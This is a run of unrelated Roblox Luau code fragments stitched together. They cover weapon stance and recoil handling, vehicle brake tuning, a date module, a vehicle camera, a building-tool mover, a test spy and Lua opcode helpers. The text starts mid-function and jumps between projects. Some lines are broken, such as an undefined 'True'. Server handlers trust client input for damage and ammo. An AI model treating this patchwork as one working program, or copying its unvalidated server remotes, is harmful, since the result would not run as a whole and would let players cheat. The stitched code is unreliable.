end elseif state == Enum.HumanoidStateType.Landed or state == Enum.HumanoidStateType.Dead then falling = false SwaySpring:accelerate(Vector3.new(0, 2.5, 0)) end end end) mouse.WheelBackward:Connect(function() -- fires when the wheel goes forwards if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then mouse1down = false if GunStance == 0 then SafeMode = true GunStance = -1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) LowReady() elseif GunStance == -1 then SafeMode = true GunStance = -2 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) Patrol() elseif GunStance == 1 then SafeMode = false GunStance = 0 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end if ToolEquip and aimming and Sens > 5 then Sens = Sens - 5 UpdateGui() game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) end end) mouse.WheelForward:Connect(function() -- fires when the wheel goes backwards if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then mouse1down = false if GunStance == 0 then SafeMode = true GunStance = 1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) HighReady() elseif GunStance == -1 then SafeMode = false GunStance = 0 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() elseif GunStance == -2 then SafeMode = true GunStance = -1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) LowReady() end end if ToolEquip and aimming and Sens < 100 then Sens = Sens + 5 UpdateGui() game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) end end) script.Parent:GetAttributeChangedSignal("Injured"):Connect(function() local valor = script.Parent:GetAttribute("Injured") if valor and runKeyDown then runKeyDown = false Stand() if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end if Stances == 0 then Stand() elseif Stances == 1 then Crouch() end end)
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent._Index local Package = require(PackageIndex["JestFakeTimers"]["JestFakeTimers"]) export type FakeTimers = Package.FakeTimers return Package
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 3000 -- Front brake force Tune.RBrakeForce = 2500 -- Rear brake force Tune.PBrakeForce = 100000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[[ [Whether the whole character turns to face the mouse.] [If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0] --]]
local TurnCharacterToMouse = True
--[[ -- Time functions -- @author Narrev This module can be called like so: timeModule = require(331894616) timeModule.Date() --> returns (year, month, days) @ timestamp tick() timeModule.Date(seconds) --> returns (year, month, days) @ seconds after epoch time timeModule.Time() --> returns (hours, minutes, seconds) @ timestamp tick() timeModule.Time(seconds) --> returns (hours, minutes, seconds) @ seconds after epoch time --]]
local floor, ceil = math.floor, math.ceil local function isLeapYear(year) return year % 4 == 0 and (year % 25 ~= 0 or year % 16 == 0) end local function GetLeaps(year) return floor(year/4) - floor(year/100) + floor(year/400) end local function CountDays(year) return 365*year + GetLeaps(year) end local function CountDays2(year) return 365*year + GetLeaps(year - 1) end local function overflow(array, seed) for i = 1, #array do if seed - array[i] <= 0 then return i, seed end seed = seed - array[i] end end local function GetYMDFromSeconds(seconds) local seconds = seconds or tick() local days = ceil((seconds + 1) / 86400) + CountDays(1970) local _400Years = 400*floor(days / CountDays(400)) local _100Years = 100*floor(days % CountDays(400) / CountDays(100)) local _4Years = 4*floor(days % CountDays(400) % CountDays(100) / CountDays(4)) local _1Years, month _1Years, days = overflow({366,365,365,365}, days - CountDays2(_4Years + _100Years + _400Years)) _1Years = _1Years - 1 local year = _1Years + _4Years + _100Years + _400Years month, days = overflow({31,isLeapYear(year) and 29 or 28,31,30,31,30,31,31,30,31,30,31}, days) return year, month, days end local function GetTimeFromSeconds(seconds) local hours = floor(seconds / 3600 % 24) local minutes = floor(seconds / 60 % 60) local seconds = floor(seconds % 60) return hours, minutes, seconds end return {Date = GetYMDFromSeconds, Time = GetTimeFromSeconds}
--[=[ Observes a link value that is not nil. @param linkName string @param parent Instance @return Brio<Instance> ]=]
function RxLinkUtils.observeLinkValueBrio(linkName, parent) assert(type(linkName) == "string", "linkName should be 'string'") assert(typeof(parent) == "Instance", "parent should be 'Instance'") return RxInstanceUtils.observeChildrenOfNameBrio(parent, "ObjectValue", linkName) :Pipe({ RxBrioUtils.flatMapBrio(function(instance) return RxInstanceUtils.observePropertyBrio(instance, "Value", function(value) return value ~= nil end) end) }) end
--local Player --local Character --local Humanoid
local Module = require(Tool:WaitForChild("Setting")) local ChangeMagAndAmmo = script:WaitForChild("ChangeMagAndAmmo") local Grip2 local Handle2 local CoolDown = false local func= Tool.Events.punched function CoolDown2() wait(0.01) CoolDown = false end func.OnServerInvoke = function(plr, hum, dmg, tor) if not CoolDown then CoolDown = true Tool.Handle.Whip:Play() Tool.Assets.BloodPart.Blood:Emit(1.3) hum.Parent.Humanoid:TakeDamage(15) CoolDown2() end end function Equip() Tool.Barrel.Transparency = 0 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 0 Tool.Part2.Transparency = 1 Tool.Part3.Transparency = 1 Tool.Part24.Transparency = 1 Tool.Part6.Transparency = 1 Tool.Part4.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 1 wait(0.2) Tool.Barrel.Transparency = 0 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 0 Tool.Part2.Transparency = 0 Tool.Part3.Transparency = 0 Tool.Part24.Transparency = 0 Tool.Part6.Transparency = 0 Tool.Part4.Transparency = 0 Tool.Part2.Transparency = 0 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 0 wait(0.42) Tool.Handle.EquipSound:play() end if Module.DualEnabled then Handle2 = Tool:WaitForChild("Handle2",1) if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end end local MagValue = script:FindFirstChild("Mag") or Instance.new("NumberValue",script) MagValue.Name = "Mag" MagValue.Value = Module.AmmoPerMag local AmmoValue = script:FindFirstChild("Ammo") or Instance.new("NumberValue",script) AmmoValue.Name = "Ammo" AmmoValue.Value = Module.LimitedAmmoEnabled and Module.Ammo or 0 if Module.IdleAnimationID ~= nil or Module.DualEnabled then local IdleAnim = Instance.new("Animation",Tool) IdleAnim.Name = "IdleAnim" IdleAnim.AnimationId = "rbxassetid://"..(Module.DualEnabled and 53610688 or Module.IdleAnimationID) end if Module.FireAnimationID ~= nil then local FireAnim = Instance.new("Animation",Tool) FireAnim.Name = "FireAnim" FireAnim.AnimationId = "rbxassetid://"..Module.FireAnimationID end if Module.ReloadAnimationID ~= nil then local ReloadAnim = Instance.new("Animation",Tool) ReloadAnim.Name = "ReloadAnim" ReloadAnim.AnimationId = "rbxassetid://"..Module.ReloadAnimationID end if Module.ShotgunClipinAnimationID ~= nil then local ShotgunClipinAnim = Instance.new("Animation",Tool) ShotgunClipinAnim.Name = "ShotgunClipinAnim" ShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.ShotgunClipinAnimationID end if Module.HoldDownAnimationID ~= nil then local HoldDownAnim = Instance.new("Animation",Tool) HoldDownAnim.Name = "HoldDownAnim" HoldDownAnim.AnimationId = "rbxassetid://"..Module.HoldDownAnimationID end if Module.EquippedAnimationID ~= nil then local EquippedAnim = Instance.new("Animation",Tool) EquippedAnim.Name = "EquippedAnim" EquippedAnim.AnimationId = "rbxassetid://"..Module.EquippedAnimationID end ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo) MagValue.Value = Mag AmmoValue.Value = Ammo end) Tool.Equipped:connect(function() Equip() --Player = game.Players:GetPlayerFromCharacter(Tool.Parent) --Character = Tool.Parent --Humanoid = Character:FindFirstChild("Humanoid") if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand") local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() Tool.Barrel.Transparency = 1 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Part3.Transparency = 1 Tool.Part24.Transparency = 1 Tool.Part6.Transparency = 1 Tool.Part4.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 1 if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = false if Grip2 then Grip2:Destroy() end end end)
--Lib.Script.setWaterState(Lib.Map._Water1, "lava") --wait(3)
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value < 30 end
--!native
local CameraModule = {} local Mouse = game.Players.LocalPlayer:GetMouse() local UserInput = game:GetService("UserInputService")
-- track physics solver time delta separately from the render loop to correctly synchronize time delta
local worldDt = 1/60 RunService.Stepped:Connect(function(_, _worldDt) worldDt = _worldDt end) local VehicleCamera = setmetatable({}, BaseCamera) VehicleCamera.__index = VehicleCamera function VehicleCamera.new() local self = setmetatable(BaseCamera.new(), VehicleCamera) self:Reset() return self end function VehicleCamera:Reset() self.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame()) self.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle)) self.yawSpring = Spring.new(0, YAW_DEFAULT) self.lastPanTick = 0 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject assert(camera) assert(cameraSubject) assert(cameraSubject:IsA("VehicleSeat")) local assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts local assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts) assemblyRadius = math.max(assemblyRadius, EPSILON) self.assemblyRadius = assemblyRadius self.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center self:_StepInitialZoom() end function VehicleCamera:_StepInitialZoom() self:SetCameraToSubjectDistance(math.max( ZoomController.GetZoomRadius(), self.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul )) end function VehicleCamera:_StepRotation(dt, vdotz) local yawSpring = self.yawSpring local pitchSpring = self.pitchSpring local rotationInput = CameraInput.getRotation(true) local dYaw = -rotationInput.X local dPitch = -rotationInput.Y yawSpring.pos = sanitizeAngle(yawSpring.pos + dYaw) pitchSpring.pos = sanitizeAngle(math.clamp(pitchSpring.pos + dPitch, -PITCH_LIMIT, PITCH_LIMIT)) if CameraInput.getRotationActivated() then self.lastPanTick = os.clock() end local pitchBaseAngle = -math.rad(VehicleCameraConfig.pitchBaseAngle) local pitchDeadzoneAngle = math.rad(VehicleCameraConfig.pitchDeadzoneAngle) if os.clock() - self.lastPanTick > VehicleCameraConfig.autocorrectDelay then -- adjust autocorrect response based on forward velocity local autocorrectResponse = mapClamp( vdotz, VehicleCameraConfig.autocorrectMinCarSpeed, VehicleCameraConfig.autocorrectMaxCarSpeed, 0, VehicleCameraConfig.autocorrectResponse ) yawSpring.freq = autocorrectResponse pitchSpring.freq = autocorrectResponse -- zero out response under a threshold if yawSpring.freq < EPSILON then yawSpring.vel = 0 end if pitchSpring.freq < EPSILON then pitchSpring.vel = 0 end if math.abs(sanitizeAngle(pitchBaseAngle - pitchSpring.pos)) <= pitchDeadzoneAngle then -- do nothing within the deadzone pitchSpring.goal = pitchSpring.pos else pitchSpring.goal = pitchBaseAngle end else yawSpring.freq = 0 yawSpring.vel = 0 pitchSpring.freq = 0 pitchSpring.vel = 0 pitchSpring.goal = pitchBaseAngle end return CFrame.fromEulerAnglesYXZ( pitchSpring:step(dt), yawSpring:step(dt), 0 ) end function VehicleCamera:_GetThirdPersonLocalOffset() return self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0) end function VehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame) local character = localPlayer.Character if character and character.Parent then local head = character:FindFirstChild("Head") if head and head:IsA("BasePart") then return subjectCFrame:Inverse()*head.Position end end return self:_GetThirdPersonLocalOffset() end function VehicleCamera:Update() local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject local vehicleCameraCore = self.vehicleCameraCore assert(camera) assert(cameraSubject) assert(cameraSubject:IsA("VehicleSeat")) -- consume the physics solver time delta to account for mismatched physics/render cycles local dt = worldDt worldDt = 0 -- get subject info local subjectCFrame = self:GetSubjectCFrame() local subjectVel = self:GetSubjectVelocity() local subjectRotVel = self:GetSubjectRotVelocity() -- measure the local-to-world-space forward velocity of the vehicle local vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector)) local yawVel = yawVelocity(subjectRotVel, subjectCFrame) local pitchVel = pitchVelocity(subjectRotVel, subjectCFrame) -- step camera components forward local zoom = self:StepZoom() local objectRotation = self:_StepRotation(dt, vDotZ) -- mix third and first person offsets in local space local firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0) local tpOffset = self:_GetThirdPersonLocalOffset() local fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame) local localOffset = tpOffset:Lerp(fpOffset, firstPerson) -- step core forward vehicleCameraCore:setTransform(subjectCFrame) local processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson) -- calculate final focus & cframe local focus = CFrame.new(subjectCFrame*localOffset)*processedRotation*objectRotation local cf = focus*CFrame.new(0, 0, zoom) return cf, focus end function VehicleCamera:ApplyVRTransform() -- no-op override; VR transform is not applied in vehicles end function VehicleCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function VehicleCamera:LeaveFirstPerson() self.inFirstPerson = false self:UpdateMouseBehavior() end return VehicleCamera
--viridian 6
if k == "v" and ibo.Value==true then bin.Blade.BrickColor = BrickColor.new("Pastel green") bin.Blade2.BrickColor = BrickColor.new("Institutional white") bin.Blade.White.Enabled=false colorbin.white.Value = false bin.Blade.Blue.Enabled=false colorbin.blue.Value = false bin.Blade.Green.Enabled=false colorbin.green.Value = false bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false bin.Blade.Orange.Enabled=false colorbin.orange.Value = false bin.Blade.Viridian.Enabled=true colorbin.viridian.Value = true bin.Blade.Violet.Enabled=false colorbin.violet.Value = false bin.Blade.Red.Enabled=false colorbin.red.Value = false bin.Blade.Silver.Enabled=false colorbin.silver.Value = false bin.Blade.Black.Enabled=false colorbin.black.Value = false bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false end
-- Directions of movement for each handle's dragged face
local AxisMultipliers = { [Enum.NormalId.Top] = Vector3.new(0, 1, 0); [Enum.NormalId.Bottom] = Vector3.new(0, -1, 0); [Enum.NormalId.Front] = Vector3.new(0, 0, -1); [Enum.NormalId.Back] = Vector3.new(0, 0, 1); [Enum.NormalId.Left] = Vector3.new(-1, 0, 0); [Enum.NormalId.Right] = Vector3.new(1, 0, 0); }; function AttachHandles(Part, Autofocus) -- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part -- Enable autofocus if requested and not already on if Autofocus and not Connections.AutofocusHandle then Connections.AutofocusHandle = Selection.FocusChanged:connect(function () AttachHandles(Selection.Focus, true); end); -- Disable autofocus if not requested and on elseif not Autofocus and Connections.AutofocusHandle then ClearConnection 'AutofocusHandle'; end; -- Just attach and show the handles if they already exist if Handles then Handles.Adornee = Part; Handles.Visible = true; Handles.Parent = Part and Core.UIContainer or nil; return; end; -- Create the handles Handles = Create 'Handles' { Name = 'BTMovementHandles'; Color = MoveTool.Color; Parent = Core.UIContainer; Adornee = Part; }; ------------------------------------------------------ -- Prepare for moving parts when the handle is clicked ------------------------------------------------------ local AreaPermissions; Handles.MouseButton1Down:connect(function () -- Prevent selection Core.Targeting.CancelSelecting(); -- Indicate dragging via handles HandleDragging = true; -- Freeze bounding box extents while dragging if BoundingBox.GetBoundingBox() then InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Core.Selection.Items, BoundingBox.StaticExtents); BoundingBox.PauseMonitoring(); end; -- Stop parts from moving, and capture the initial state of the parts InitialState = PreparePartsForDragging(); -- Track the change TrackChange(); -- Cache area permissions information if Core.Mode == 'Tool' then AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); end; end); ------------------------------------------ -- Update parts when the handles are moved ------------------------------------------ Handles.MouseDrag:connect(function (Face, Distance) -- Only drag if handle is enabled if not HandleDragging then return; end; -- Calculate the increment-aligned drag distance Distance = GetIncrementMultiple(Distance, MoveTool.Increment); -- Move the parts along the selected axes by the calculated distance MovePartsAlongAxesByFace(Face, Distance, MoveTool.Axes, Selection.Focus, InitialState); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then Selection.Focus.CFrame = InitialState[Selection.Focus].CFrame; TranslatePartsRelativeToPart(Selection.Focus, InitialState); Distance = 0; end; -- Update the "distance moved" indicator if MoveTool.UI then MoveTool.UI.Changes.Text.Text = 'moved ' .. math.abs(Distance) .. ' studs'; end; -- Update bounding box if enabled in global axes movements if MoveTool.Axes == 'Global' and BoundingBox.GetBoundingBox() then BoundingBox.GetBoundingBox().CFrame = InitialExtentsCFrame + (AxisMultipliers[Face] * Distance); end; end); end;
-- Initialize
StarterGui.ResetPlayerGuiOnSpawn = false local MapPurgeProof = workspace:FindFirstChild('MapPurgeProof') if not MapPurgeProof then MapPurgeProof = Instance.new('Folder') MapPurgeProof.Parent = workspace MapPurgeProof.Name = 'MapPurgeProof' end
--// Stances
function Prone() UpdateAmmo() L_115_:FireServer("Prone") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -3, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 4 L_157_ = 0.01 L_158_ = 4 L_65_ = true Proned2 = Vector3.new(0, 0.5, 0.5) L_133_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_288_arg1) return math.sin(math.rad(L_288_arg1)) end, 0.25) L_133_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_289_arg1) return math.sin(math.rad(L_289_arg1)) end, 0.25) L_133_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_290_arg1) return math.sin(math.rad(L_290_arg1)) end, 0.25) end function Stand() UpdateAmmo() L_115_:FireServer("Stand") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, 0, 0) }):Play() L_65_ = false if not L_64_ then L_3_:WaitForChild("Humanoid").WalkSpeed = 16 L_157_ = 0.09 L_158_ = 11 elseif L_64_ then L_157_ = 0.015 L_158_ = 7 L_3_:WaitForChild("Humanoid").WalkSpeed = 7 end Proned2 = Vector3.new(0, 0, 0) L_133_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_291_arg1) return math.sin(math.rad(L_291_arg1)) end, 0.25) L_133_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_292_arg1) return math.sin(math.rad(L_292_arg1)) end, 0.25) L_133_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_293_arg1) return math.sin(math.rad(L_293_arg1)) end, 0.25) end function Crouch() UpdateAmmo() L_115_:FireServer("Crouch") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -1, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 9 L_157_ = 0.015 L_158_ = 9 L_65_ = true Proned2 = Vector3.new(0, 0, 0) L_133_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_294_arg1) return math.sin(math.rad(L_294_arg1)) end, 0.25) L_133_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_295_arg1) return math.sin(math.rad(L_295_arg1)) end, 0.25) L_133_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_296_arg1) return math.sin(math.rad(L_296_arg1)) end, 0.25) L_133_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_297_arg1) return math.sin(math.rad(L_297_arg1)) end, 0.25) end function LeanRight() if L_93_ ~= 2 then L_115_:FireServer("LeanRight") L_133_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_298_arg1) return math.sin(math.rad(L_298_arg1)) end, 0.25) L_133_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_299_arg1) return math.sin(math.rad(L_299_arg1)) end, 0.25) L_133_(L_11_, nil, nil, function(L_300_arg1) return math.sin(math.rad(L_300_arg1)) end, 0.25) L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_301_arg1) return math.sin(math.rad(L_301_arg1)) end, 0.25) if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(1, -0.5, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(1, -1.5, 0) }):Play() end end; end end function LeanLeft() if L_93_ ~= 2 then L_115_:FireServer("LeanLeft") L_133_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_302_arg1) return math.sin(math.rad(L_302_arg1)) end, 0.25) L_133_(L_10_, nil, nil, function(L_303_arg1) return math.sin(math.rad(L_303_arg1)) end, 0.25) L_133_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_304_arg1) return math.sin(math.rad(L_304_arg1)) end, 0.25) L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_305_arg1) return math.sin(math.rad(L_305_arg1)) end, 0.25) if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(-1, -0.5, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(-1, -1.5, 0) }):Play() end end; end end function Unlean() if L_93_ ~= 2 then L_115_:FireServer("Unlean") L_133_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_306_arg1) return math.sin(math.rad(L_306_arg1)) end, 0.25) L_133_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_307_arg1) return math.sin(math.rad(L_307_arg1)) end, 0.25) L_133_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_308_arg1) return math.sin(math.rad(L_308_arg1)) end, 0.25) if L_6_:FindFirstChild('Clone') then L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_309_arg1) return math.sin(math.rad(L_309_arg1)) end, 0.25) end if not L_65_ then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, 0, 0) }):Play() elseif L_65_ then if L_93_ == 1 then L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -1, 0) }):Play() end end; end end local L_168_ = false L_110_.InputBegan:connect(function(L_310_arg1, L_311_arg2) if not L_311_arg2 and L_15_ == true then if L_15_ then if L_310_arg1.KeyCode == Enum.KeyCode.C or L_310_arg1.KeyCode == Enum.KeyCode.ButtonB then if L_93_ == 0 and not L_67_ and L_15_ then L_93_ = 1 Crouch() L_94_ = false L_96_ = true L_95_ = false elseif L_93_ == 1 and not L_67_ and L_15_ then L_93_ = 2 Prone() L_96_ = false L_94_ = true L_95_ = false L_168_ = true end end if L_310_arg1.KeyCode == Enum.KeyCode.X or L_310_arg1.KeyCode == Enum.KeyCode.ButtonY then if L_93_ == 2 and not L_67_ and L_15_ then L_168_ = false L_93_ = 1 Crouch() L_94_ = false L_96_ = true L_95_ = false elseif L_93_ == 1 and not L_67_ and L_15_ then L_93_ = 0 Stand() L_94_ = false L_96_ = false L_95_ = true end end end end end)
--[[ A utility used to create a function spy that can be used to robustly test that functions are invoked the correct number of times and with the correct number of arguments. This should only be used in tests. ]]
local assertDeepEqual = require(script.Parent.assertDeepEqual) local function createSpy(inner) local self = {} self.callCount = 0 self.values = {} self.valuesLength = 0 self.value = function(...) self.callCount = self.callCount + 1 self.values = { ... } self.valuesLength = select("#", ...) if inner ~= nil then return inner(...) end return nil end self.assertCalledWith = function(_, ...) local len = select("#", ...) if self.valuesLength ~= len then error(("Expected %d arguments, but was called with %d arguments"):format(self.valuesLength, len), 2) end for i = 1, len do local expected = select(i, ...) assert(self.values[i] == expected, "value differs") end end self.assertCalledWithDeepEqual = function(_, ...) local len = select("#", ...) if self.valuesLength ~= len then error(("Expected %d arguments, but was called with %d arguments"):format(self.valuesLength, len), 2) end for i = 1, len do local expected = select(i, ...) assertDeepEqual(self.values[i], expected) end end self.captureValues = function(_, ...) local len = select("#", ...) local result = {} assert(self.valuesLength == len, "length of expected values differs from stored values") for i = 1, len do local key = select(i, ...) result[key] = self.values[i] end return result end setmetatable(self, { __index = function(_, key) error(("%q is not a valid member of spy"):format(key)) end, }) return self end return createSpy
--// Recoil Settings
gunrecoil = -0.75; -- How much the gun recoils backwards when not aiming camrecoil = 1.1; -- How much the camera flicks when not aiming AimGunRecoil = -0.6; -- How much the gun recoils backwards when aiming AimCamRecoil = 1; -- How much the camera flicks when aiming CamShake = 1; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 1; -- THIS IS ALSO NEW!!!! Kickback = 6; -- Upward gun rotation when not aiming AimKickback = 2; -- Upward gun rotation when aiming
-- these accept or return opcodes in the form of string names
function luaP:GET_OPCODE(i) return self.ROpCode[i.OP] end function luaP:SET_OPCODE(i, o) i.OP = self.OpCode[o] end function luaP:GETARG_A(i) return i.A end function luaP:SETARG_A(i, u) i.A = u end function luaP:GETARG_B(i) return i.B end function luaP:SETARG_B(i, b) i.B = b end function luaP:GETARG_C(i) return i.C end function luaP:SETARG_C(i, b) i.C = b end function luaP:GETARG_Bx(i) return i.Bx end function luaP:SETARG_Bx(i, b) i.Bx = b end function luaP:GETARG_sBx(i) return i.Bx - self.MAXARG_sBx end function luaP:SETARG_sBx(i, b) i.Bx = b + self.MAXARG_sBx end function luaP:CREATE_ABC(o,a,b,c) return {OP = self.OpCode[o], A = a, B = b, C = c} end function luaP:CREATE_ABx(o,a,bc) return {OP = self.OpCode[o], A = a, Bx = bc} end
--[[ CLIMAXIMUS's Saving Script. Equipped with the best of scripting. ( Must be put in ServerScriptService(Reccomended!) or workspace. ) ]]
